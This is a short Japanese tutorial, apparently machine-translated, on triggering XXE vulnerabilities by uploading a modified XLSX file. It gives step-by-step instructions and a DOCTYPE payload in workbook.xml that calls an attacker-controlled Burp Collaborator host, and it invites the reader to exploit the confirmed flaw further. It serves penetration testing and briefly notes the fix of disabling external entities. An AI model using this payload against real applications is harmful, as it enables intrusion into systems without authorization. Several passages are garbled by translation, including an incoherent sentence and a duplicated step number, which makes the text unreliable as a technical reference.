XML 外部エンティティ (XXE) の脆弱性は、ドキュメント型定義 (DTD) と呼ばれる XML ドキュメント構造を解析するときに、独自の XML エンティティを定義できる点です。 サーバー側の XML 処理エンジンと環境の構成によっては、この種の脆弱性が異なる場合があります。 システム上のディレクトリーのリスト、アプリケーションおよびシステム・ファイルの読み取り、アプリケーション・ユーザーの暗号化されたパスワードの取得、およびサーバーへのファイル転送またはシステム・コマンドの実行から始まります。
この種の脆弱性の古典的なシナリオでは、私たちは私たち自身のエンティティの定義のために、私たちは責任部を追加する私たちのbody xmlに含まれる要求を扱っていることを前提としています。 ただし、この脆弱性は、Excel ファイルを処理するアプリケーションを処理する場合にも発生する可能性があります。XLSX, 単語 .DOCX または PowerPoint .PPTX. OOXML に準拠したこれらのファイルの種類は、単にいくつかのファイルがパックされているという事実のおかげです。XML。
迅速な攻撃シナリオは次のとおりです。
- 新しい空白のドキュメントを作成する:XLSX. この目的のために「Google シート」を使用することができます。
2. バープスイートプロフェッショナル ->バープ ->バープコラボレータークライアントを開きます。 次に「クリップボードにコピー」ボタンをクリックします。 私の場合、サーバーアドレスは次の通りでした – lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net。
あるいは、外部 IP を持っている場合は、python で単純な HTTP サーバーを使用できます – "python3 -m http.server 8080" 。
3. ダウンロードしたファイルを7zipで開きます。
3. 次のコードを追加して、"xl" ディレクトリの "workbook.xml" ファイルを編集します (もちろん、サーバーアドレスを独自のコードに置き換えます)。
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe;]>
注 – 私がテストしたアプリケーションの1つで、脆弱性xxeは「Content_Types].xml」を編集した後に明らかにしたので、このファイルをチェックする価値があります。
4. 変更を保存し、テストするアプリにファイルをアップロードします。
5. コラボレーター クライアントで要求がないか確認します。
6. :)をお楽しみください – テストされたアプリケーションでxxeの脆弱性を確認し、その使用をさらに進めることができます。
XXE に対する一般的なセキュリティ機能は、XML パーサーでの外部エンティティの読み込みを完全に無効にすることです。